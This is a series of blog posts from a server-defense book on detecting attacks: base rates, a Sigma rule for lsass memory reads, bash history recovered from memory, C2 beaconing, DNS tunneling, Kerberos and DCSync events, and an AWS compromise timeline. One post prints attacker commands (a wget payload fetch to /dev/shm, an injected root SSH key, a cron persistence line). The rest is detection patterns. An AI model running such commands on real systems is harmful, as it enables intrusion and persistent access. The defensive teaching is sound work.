DEV Community: tktkkame

A great rule, 99% false positives: base rates and careful tuning

tktkkame — Wed, 11 Nov 2026 02:53:22 +0000

The scenario and numbers are illustrative; the arithmetic was verified by script.

"This rule is useless, it's all false positives." Maybe the rule is good, and the math is the problem.

What you'll learn

The confusion matrix as a shared language
The base-rate fallacy, with numbers
Tuning that doesn't add false negatives
Why every exclusion needs FN verification

The story at a glance

Week 1: a rule for WINWORD -> powershell -enc floods the queue, mostly managed-software automation. Week 2: analysts start ignoring it. Week 3: the real attack is buried. They detected it and still couldn't respond.

Confusion matrix

	Attack	Normal
Alert	TP	FP
No alert	FN (most dangerous)	TN

Base rate, in numbers

1,000,000 events/day, 10 real attacks, zero misses, false positive rate 0.1%:

TP = 10, FP = 999,990 x 0.1% = about 1,000
Precision = 10 / 1,010 = 0.99%

Cut the false positive rate to 0.001% and precision rises to about 50%. Both figures were computed and verified in a script.

Tuning rules of thumb

Baseline before you exclude.
Exclusions: narrow and specific (full path of the managed product, decoded content, principal, signature), never "exclude powershell.exe".
-enc is a signal, not a verdict: always decode.
Correlate in sequence and time window.
After each exclusion, replay an attack and confirm it still alerts.

Operate with metrics

Precision, alert volume per day, top-firing rules, and a periodic review of exclusions.

Record why it was a false positive

"Looks like FP" is not a conclusion. Write the evidence, and escalate when unsure.

Next: running all this as a system, not heroics.

Adapted from chapter 32 of my Japanese book on server defense.

Detect by invariants, not tool names: what attackers cannot change

tktkkame — Tue, 10 Nov 2026 04:41:54 +0000

The scenario is fictional. Sysmon details come from the book. The Sigma rule was validated for syntax only (YAML, required keys, condition references).

Many rules read "alert if the process is named (famous attack tool).exe". The attacker renames the file and the rule is dead.

What you'll learn

Brittle IOCs vs. robust TTPs
The question that finds the choke point
Invariants for lsass, WMI, pass-the-hash, Linux SUID
A Sigma rule and its validation

The story at a glance

In part 7, svc_update.exe read lsass. A rule keyed to that name catches it once; next time it's winhelper.exe.

The question

What would the attacker have to change to evade this?

If the answer is "rename the file", it's brittle. If it's "change the whole technique", it's robust.

Invariants

lsass: target lsass.exe + GrantedAccess including PROCESS_VM_READ (0x1010, 0x1410) + source not a known legitimate accessor.
WMI lateral movement: parent is WmiPrvSE.exe and child is cmd/powershell.
Pass-the-hash: 4624 type 3 + NTLM + privileged target in a Kerberos-standard environment.
Linux SUID: auditd uid != euid and euid = 0.

Sigma

title: LSASS access with memory-read rights (non-legitimate source)
id: 6e1b7a52-0000-4c00-9000-lsass-vmread
status: experimental
logsource:
  product: windows
  category: process_access
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'
      - '0x143a'
  filter_legit:
    SourceImage|startswith: 'C:\Windows\System32\'
  condition: selection and not filter_legit
falsepositives:
  - EDR / security products (exclude by SourceImage and signature)
level: high
tags:
  - attack.credential_access
  - attack.t1003.001

Validated: required keys present and every name in condition exists under detection (2/2). This does not prove it catches the event; convert it and test with real data. Keep exclusions narrow (path and signature).

Lifecycle

Check the data source, write one detection, correlate, baseline and suppress, test with attack replays, track ATT&CK coverage, retire stale rules.

Next: why even great rules produce 99% false positives.

Adapted from chapter 31 of my Japanese book on server defense.

history -c didn't erase it: recovering bash history from memory

tktkkame — Mon, 09 Nov 2026 02:49:58 +0000

The scenario is fictional (RFC 5737 IPs). Volatility and auditd output come from the book and weren't run here. Follow evidence-handling procedures when acquiring memory.

Part 1 said the attacker emptied .bash_history; part 6 said history -c itself is recorded by auditd. There is one more place attackers forget.

What you'll learn

Why shell history survives in RAM
Reconstructing commands with linux.bash
A trust ranking of records
Detecting wtmp tampering

The story at a glance

02:20-02:40 root session; 02:40 history -c plus systemctl stop auditd; afterwards .bash_history is empty and auditd is blind, but a live bash process (PID 2411) is still in memory.

Why it survives

bash keeps history in process memory and writes the file on exit. Deleting the file or running history -c doesn't wipe the live process's memory.

vol -f web03_mem.lime linux.bash

PID 2411 bash  wget http://198.51.100.5/x -O /dev/shm/.update
PID 2411 bash  echo "ssh-ed25519 AAAA... attacker" >> /root/.ssh/authorized_keys
PID 2411 bash  (echo '* * * * * /dev/shm/.update') | crontab -

The payload drop, the key and the cron entry we reconstructed from other traces, in the attacker's own words.

Trust ranking

Record	Trust	Why
`.bash_history`	low	self-reported, easy to erase
auditd EXECVE	high	kernel-level, unless auditd is stopped
in-memory bash history	high	only while the process lives
off-host logs	highest	out of reach

Memory is the most volatile evidence: acquire it before any reboot or kill.

Telling legitimate scripts apart

Legit: auid set, operations user, managed repository. Attack: auid unset, www-data, external C2, drop into /dev/shm.

Bonus: wtmp tampering

last -f /var/log/wtmp
lastb -f /var/log/btmp
utmpdump /var/log/wtmp | head   # time going backwards, gaps, corrupt records = tampering

Cross-check with auth.log, journald and authorized_keys.

Next: detection rules should target what attackers can't change.

Adapted from chapter 30 of my Japanese book on server defense.

Windows persistence collapses to a few places: audit first, then diff

tktkkame — Fri, 06 Nov 2026 03:30:07 +0000

The scenario is fictional. Commands and event IDs come from the book and aren't tested here; use a test environment first. Detection only.

On Linux we audited keys and cron. Windows follows the same logic. Remember one line from part 7:

09:13:05  Sysmon E13  Run key "Updater" created

That was 23 seconds after lsass was read.

What you'll learn

Persistence points grouped into a few families
Auditing that catches the moment of write
Baseline diffs for inventory
Why you preserve before you clean

Persistence families

Family	Example	Log
Run at startup	Run keys, Startup	Sysmon 13
Scheduled tasks	recurring task	Security 4698 / 4702
Services	new service	System 7045 / Security 4697
WMI subscriptions	`root\subscription`	Sysmon 19 / 20 / 21
Accounts	new user, privileged group	Security 4720 / 4732

Enable auditing first

auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable
auditpol /set /category:"Account Management" /success:enable /failure:enable
# Sysmon: include registry (13), WMI (19/20/21), file create (11) in the config

By default these aren't recorded: not "no logs", just "not logging".

Baseline diff

Save a normal-time list of Run keys, startup items, services, tasks and WMI subscriptions; diff later. Autoruns-style output works well.

Normal vs. attack

Attacks come from powershell/rundll32/unfamiliar binaries, use generic names like Updater, run from C:\Users\Public\, and appear seconds to minutes after intrusion.

Preserve, then clean

Export and hash the key/task/WMI object first, trace the origin, then remove (book examples):

Unregister-ScheduledTask -TaskName "SystemUpdater" -Confirm:$false
Remove-WmiObject -InputObject $filter; Remove-WmiObject -InputObject $consumer

Keep monitoring for re-planting.

Defense priorities

Baseline plus periodic diff; minimal write rights on persistence points; FIM and Sysmon everywhere; application control against unsigned execution from temp paths.

Next: the history that survived history -c.

Adapted from chapter 26 of my Japanese book on server defense.

One host hit port 445 on many others at 2 a.m.: the pre-lateral knock

tktkkame — Thu, 05 Nov 2026 03:35:24 +0000

The scenario is fictional (10.0.0.0/8). The fan-out aggregation was tested on a synthetic firewall log.

A burglar tries doors one by one. On a network that is one host connecting to many internal hosts on the same port, in a short window. Each connection looks ordinary; the pattern doesn't.

What you'll learn

How fan-out appears in firewall logs
A one-line aggregation
Why DROPs matter
Confirming with authentication logs; false positives

The story at a glance

09:12:03 WS01 -> FS01:445 (business hours, single destination: normal). 02:31:06-07 WS01 -> many hosts:445, ALLOW and DROP mixed, reaching DC01.

normal   09:12:03 ALLOW TCP 10.0.0.21 10.0.0.31 50410 445
attack   02:31:06 ALLOW TCP 10.0.0.21 10.0.0.41 50221 445
         02:31:06 DROP  TCP 10.0.0.21 10.0.0.55 50233 445   # hosts that don't exist
         02:31:07 ALLOW TCP 10.0.0.21 10.0.0.10 50244 445

Differences: time of day, number of destinations, and DROPs. Probing nonexistent hosts means searching, not working.

Aggregation

awk '$7==445 {
  k=$4" "substr($1,1,5)
  if (!((k,$5) in seen)) { seen[k,$5]=1; n[k]++ }
  if ($2=="DROP") d[k]++ }
END { for (k in n) if (n[k]>=10) printf "FANOUT src=%s dst=%d drop=%d\n", k, n[k], d[k] }' fw.log

On a synthetic log: FANOUT src=10.0.0.21 02:31 dst=13 drop=8. A host repeatedly using one file server was not reported. Tune the threshold on your baseline.

Confirm with authentication

The firewall shows attempts. FS01's 4624 (type 3) from WS01 and 5140 (ADMIN$) show success (book; not tested here).

False positives

Vulnerability scanners, asset management and monitoring do this too. Allow-list authorized sources, time windows and ranges narrowly.

Defense

Restrict workstation-to-workstation SMB and aggregate "one internal host to many destinations" continuously.

Next: persistence on Windows.

Adapted from chapters 17 and 27 of my Japanese book on server defense.

C2 beacons give themselves away by the clock

tktkkame — Wed, 04 Nov 2026 03:04:31 +0000

The scenario is fictional (RFC 5737 IPs). Aggregations were tested on synthetic data.

Humans don't connect to the same host exactly every 60 seconds. Malware coded to "phone home every minute" does. That regularity is a footprint.

What you'll learn

The timing signature of beacons
A tested standard-deviation one-liner
Finding exfiltration in the same log
Telling it from monitoring and updates

The story at a glance

02:24 the payload starts on web03; from 02:25 it sends small, nearly regular requests to 198.51.100.5:443; the alert fires at 02:41.

The idea

For each (source, destination) pair, measure the gaps between connections. Humans: scattered (large standard deviation). Beacons: near constant (small), even with some jitter.

sort -n conn.tsv | awk '$4==443 {
  k=$2" "$3
  if (prev[k]) { d=$1-prev[k]; s[k]+=d; q[k]+=d*d; n[k]++ }
  prev[k]=$1 }
END { for (k in n) { m=s[k]/n[k]; sd=sqrt(q[k]/n[k]-m*m); printf "%.1f %.1f %d %s\n", sd, m, n[k], k } }' | sort -n

Columns: ts src dst port, output stddev mean count pair, smallest deviation first. On synthetic data (60 s +/- 1 s beacon vs. irregular human traffic) the beacon came first with deviation < 2 s and mean about 60 s; the human pair exceeded 10 s.

Exfiltration

zeek-cut id.orig_h id.resp_h id.resp_p orig_bytes resp_bytes conn_state < conn.log \
 | awk '$2 !~ /^10\./ && $4+0 > 10000000 {print}'

(Book command; not run here.) On Windows, use WFP 5156 timestamps with PowerShell for the same statistics.

False positives

Monitoring agents, update checks and NTP are regular too. Don't call "regular" bad: combine regular x unknown destination x a host that shouldn't talk out (for example a public web server).

Defense

Allow-list outbound traffic from public servers and keep flow/proxy/DNS logs off-host.

Next: the knock before the lateral move.

Adapted from chapters 17, 18 and 20 of my Japanese book on server defense.

Golden and Silver Tickets are caught by logs that should exist

tktkkame — Tue, 03 Nov 2026 03:58:01 +0000

The scenario is fictional. Event details come from the book and aren't tested on a live domain. Detection only.

After DCSync the attacker holds the krbtgt key. From here on, the evidence changes: instead of "something happened" logs, you hunt for things that should have happened but didn't.

What you'll learn

What Golden and Silver tickets forge (five lines)
The decisive absence correlations
Supporting signals (lifetime, RC4, nonexistent accounts)
False positives (ticket cache, log gaps)

How it works

TGTs are encrypted with the krbtgt key; service tickets with the service key.
krbtgt key = forge any TGT (Golden).
Service account key = forge a ticket for that service only (Silver).
Golden: a service ticket request with no TGT request on record.
Silver: the DC is never contacted.

Timeline (incident report facts, UTC)

01:40 svc_web requests many SPNs with RC4; 02:05 Administrator NTLM type 3 from WS01; 02:11 svc_sql 4769 for CIFS/DC01 with no 4768; 02:13 svc_sql (non-DC) requests replication GUIDs (4662); 02:20 Administrator 4769 with no 4768, 10-year lifetime, RC4.

Golden: a 4769 without a 4768

Normal: 4768 then 4769, AES, lifetime within policy. Golden: 4769 alone, RC4, abnormal lifetime, nonexistent or disabled account names.

Silver: member server yes, DC no

Service logon (4624 Kerberos) on the member server, but no 4768/4769 on the DC. You can only see this if both logs are collected centrally. PAC validation can also catch it.

False positives

Log gaps or clock skew can break 4768/4769 pairing (collect healthily, normalize to UTC). Ticket caching can hide DC requests; ask whether an earlier acquisition can be traced. Only fully untraceable privileged access is forgery.

Recovery and defense

Reset krbtgt twice. Use gMSA, enforce AES, disable RC4, enable PAC validation, protect Tier 0.

Next: beacons betray themselves with a clock.

Adapted from chapter 23 of my Japanese book on server defense.

DNS always gets through, so attackers hid data in it

tktkkame — Mon, 02 Nov 2026 02:38:29 +0000

The scenario is fictional (RFC 5737 and 10.0.0.0/8 addresses). Detection only.

You can close almost all outbound traffic, but not DNS: if names don't resolve, the business stops. Attackers know it and hide stolen data inside query names. Few organizations watch for it.

What you'll learn

Why DNS tunneling slips through
Four detection signals
Aggregation commands tested on synthetic data
Telling it apart from CDNs and security products

The story at a glance

After wiping local logs (part 6), web03 (10.0.0.50) kept talking, but only through DNS: a flood of queries to *.exfil.203-0-113-9.example, mostly TXT.

Normal vs. tunneling

normal   cdn.example.com                                A
attack   a3f9c2e1b7d4....exfil.203-0-113-9.example      TXT

Four signals

#	Signal	Normal	Tunneling
1	Unique subdomains per parent domain	few	very many
2	Label length / entropy	short, words	long, random
3	Record type	A / AAAA	TXT / NULL skew
4	Querying host	expected clients	a server that rarely queries

awk '{print $2}' dns.log | sort -u \
 | awk '{n=split($1,a,"."); print a[n-2]"."a[n-1]"."a[n]}' \
 | sort | uniq -c | sort -rn | head
awk '$3=="TXT"{t++} END{printf "TXT ratio %d%%\n", t*100/NR}' dns.log

On a synthetic log (200 random queries under exfil, 300 normal) the top line was 200 exfil.203-0-113-9.example; every normal domain had 1. Length >= 30 with Shannon entropy >= 3.0 flagged all 200 random labels and none of the normal ones. Tune the thresholds on your own baseline.

Where to watch: the DNS server (Windows DNS Analytical, event 260; client event 3008) or Zeek dns.log (book details, not run here).

False positives

CDNs, security products and cloud services query many dynamic subdomains. Allow-list known parents and keep unknown parent x high entropy x TXT skew.

Defense

Force clients to the internal resolver, block external DNS and DoH/DoT, and ship DNS logs somewhere the host can't erase.

Next: ten thousand failed logins don't matter. One success does.

Adapted from chapters 3, 17 and 18 of my Japanese book on server defense.

Ten thousand failed logins matter less than one success

tktkkame — Mon, 02 Nov 2026 02:38:28 +0000

The scenario is fictional (RFC 5737 IPs). Detection only.

A public SSH server gets thousands of failed logins a day. Alerting on all of them burns out analysts. Hidden in that noise is one line you must never miss:

Accepted password for root from 203.0.113.77

What you'll learn

How brute force and spraying differ, and what each needs
Picking only IPs that failed then succeeded
Detecting spraying by distinct target accounts
The Windows equivalents

The story at a glance

02:18 failed root logins (btmp), 02:20 root success (wtmp), 02:22 payload fetched.

Three attack shapes

Type	Shape	Detection axis
Brute force	many passwords, one account, fast	failures per source IP
Spraying	few passwords, many accounts, slow	distinct target accounts per IP
Credential stuffing	leaked pairs reused	known leaks, success from unknown devices

Failure followed by success

LOG=/var/log/auth.log; THRESHOLD=20
for ip in $(grep 'Failed password' $LOG | awk '{for(i=1;i<=NF;i++)if($i=="from")print $(i+1)}' | sort -u); do
  fails=$(grep -c "Failed password.*from ${ip} " "$LOG")
  succ=$(grep -c "Accepted .*from ${ip} " "$LOG")
  [ "$fails" -ge "$THRESHOLD" ] && [ "$succ" -ge 1 ] && echo "[SUSPECT] ip=${ip} fails=${fails} success=${succ}"
done

On a synthetic log it printed only [SUSPECT] ip=203.0.113.77 fails=30 success=1; an IP with 50 failures and no success was ignored.

Spraying

awk '/Failed password/ {u="";ip=""; for(i=1;i<=NF;i++){if($i=="for")u=$(i+1); if($i=="invalid")u=$(i+2); if($i=="from")ip=$(i+1)} if(ip!=""&&u!="")print ip,u}' /var/log/auth.log \
 | sort -u | awk '{c[$1]++} END{for(ip in c)print c[ip],ip}' | sort -rn | head

198.51.100.9, with 12 accounts failed once each, topped the list. Rule of thumb from the book: 10+ distinct accounts from one IP suggests spraying.

What to alert on

(1) brute force with a success, (2) spraying, (3) failures from internal segments.

Auth method hint

A pile of Failed password means that host allows password auth at all. Public-key-only hosts stay nearly silent.

Windows mapping

Failed password = 4625, Accepted = 4624, Invalid user = SubStatus 0xC0000064, wrong password = 0xC000006A (book; not tested here).

Next: Golden and Silver tickets, spotted by logs that aren't there.

Adapted from chapter 22 of my Japanese book on server defense.

AD attacks hide in normal logs: the tell is the encryption type (RC4)

tktkkame — Fri, 30 Oct 2026 02:44:22 +0000

The scenario is fictional. Event details are from the book and not tested on a live domain. Detection only.

The hard part of Active Directory attacks: the logs look normal. Service ticket requests happen thousands of times a day. One of them is an attack, and the tell is a field most people ignore: the encryption type.

What you'll learn

Why Kerberoasting looks normal
The one field in Event 4769 that matters (0x17, RC4)
Supporting signals: SPN count, requester, honeypot SPNs
How it differs from AS-REP roasting and Golden/Silver tickets

The story at a glance

Time	What happened
09:12:40	lsass access on WS01
09:13+	Burst of 4769 on DC01
Same	Requester `svc_web`, normally quiet
Same	Many SPNs, encryption type `0x17` (RC4)

Reading 4769

Normal: jdoe, MSSQLSvc/db01.corp:1433, 0x12 (AES256). Suspicious: svc_web, many SPNs, 0x17 in an AES environment. A honeypot SPN (a fake service account nobody uses) makes any request a near-certain signal.

Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} -MaxEvents 2000

(From the book; not run here. Filter on type, requester and SPN count.)

Siblings

Attack	Event	Tell
Kerberoasting	4769	`0x17`, many SPNs
AS-REP roasting	4768	pre-auth type `0`
Golden Ticket	4769	no matching 4768, abnormal lifetime
Silver Ticket	none on DC	needs service-side correlation

Defense

Long service-account passwords (or gMSA), AES everywhere, honeypot SPNs.

Next: the night a domain controller replicated its own secrets.

Adapted from chapter 23 of my Japanese book on server defense.

One account without MFA lost an AWS account in 13 minutes

tktkkame — Thu, 29 Oct 2026 02:35:31 +0000

The scenario is fictional (RFC 5737 IPs; account and key IDs are made up). AWS details come from the book and aren't tested live.

The same jdoe whose credentials we followed on-prem shows up in the cloud. Logged in at 09:02; CloudTrail was stopped by 09:15. No MFA.

What you'll learn

A 13-minute compromise timeline in CloudTrail
Recon -> escalation -> persistence -> exfiltration -> concealment, with API names
How GuardDuty, VPC Flow Logs and CloudTrail complement each other
Guardrails: MFA, SCP, Access Analyzer

Timeline

Time	Event	Meaning
09:02	`ConsoleLogin` jdoe, no MFA, `203.0.113.77`	entry
09:03	`GetCallerIdentity`/`ListUsers`/`ListRoles`/`ListBuckets`	recon
09:05	`AttachUserPolicy` AdministratorAccess	self-escalation
09:07	`CreateUser svc-backup` + `CreateAccessKey`	backdoor
09:10	`GetObject corp-financials/payroll.csv`	exfiltration
09:12	`ModifySnapshotAttribute` share `snap-01` to `999988887777`	exfiltration (snapshot)
09:15	`StopLogging org-trail`	concealment

When logging stops, evidence remains

GuardDuty Stealth:IAMUser/CloudTrailLoggingDisabled; VPC Flow Logs showed large egress after the stop; log file validation plus S3 Object Lock and a separate log account protect integrity.

Guardrails

Require MFA.
SCPs denying StopLogging, DeleteTrail, GuardDuty disablement.
Access Analyzer for external sharing.
Avoid long-lived access keys.
Data events on sensitive buckets.

Checklist

MFA on login? Self-granted policies? New users/keys? External shares of snapshots/AMIs/buckets? Logging stopped, and the gap after?

That closes season one: one campaign, four environments.

Adapted from chapter 33 of my Japanese book on server defense (40 chapters, with a laptop-sized lab).

The night a domain controller replicated every password (Event 4662)

tktkkame — Wed, 28 Oct 2026 02:28:53 +0000

The scenario is fictional (10.0.0.0/8). Event and PowerShell details are from the book, not tested live. Detection only.

A domain controller holds everyone's credentials. That night it handed them over voluntarily: the attacker simply asked to replicate.

What you'll learn

Why DCSync works and the log it leaves (4662)
Three replication GUIDs and the decisive condition: requester isn't a DC
A PowerShell check from the book, false positives
Recovery: reset krbtgt twice

The story at a glance (SIEM timeline)

Time	Host	Event
09:12:40	WS01	lsass access
09:14:05	FS01	4624 Type 3 NTLM, `Administrator`, source WS01
09:14:30	FS01	5140 `ADMIN$`
09:15:50	DC01	SMB from FS01
09:16:20	DC01	4662 replication GUID
09:18	WS01	log ingestion stops

Administrator normally logs in only via the bastion; from WS01 it suggests pass-the-hash.

The signal

4662 containing 1131f6aa, 1131f6ad or 89e95b76, requested by an account that is not a domain controller.

Get-WinEvent -FilterHashtable @{LogName='Security';Id=4662} |
  Where-Object { $_.Message -match '1131f6aa|1131f6ad|89e95b76' -and
                 $_.Message -notmatch 'DC0\d\$' }

Adjust the DC naming pattern to your environment; test on a lab domain first.

False positives

DC-to-DC replication (exclude DC machine accounts) and sync tools like Azure AD Connect (allow-list the account and fix its source IP).

Recovery

Assume all credentials are exposed: reset krbtgt twice, with a wait between resets.

Next: the same user's credentials, in the cloud.

Adapted from chapter 23 and Scenario B of my Japanese book on server defense.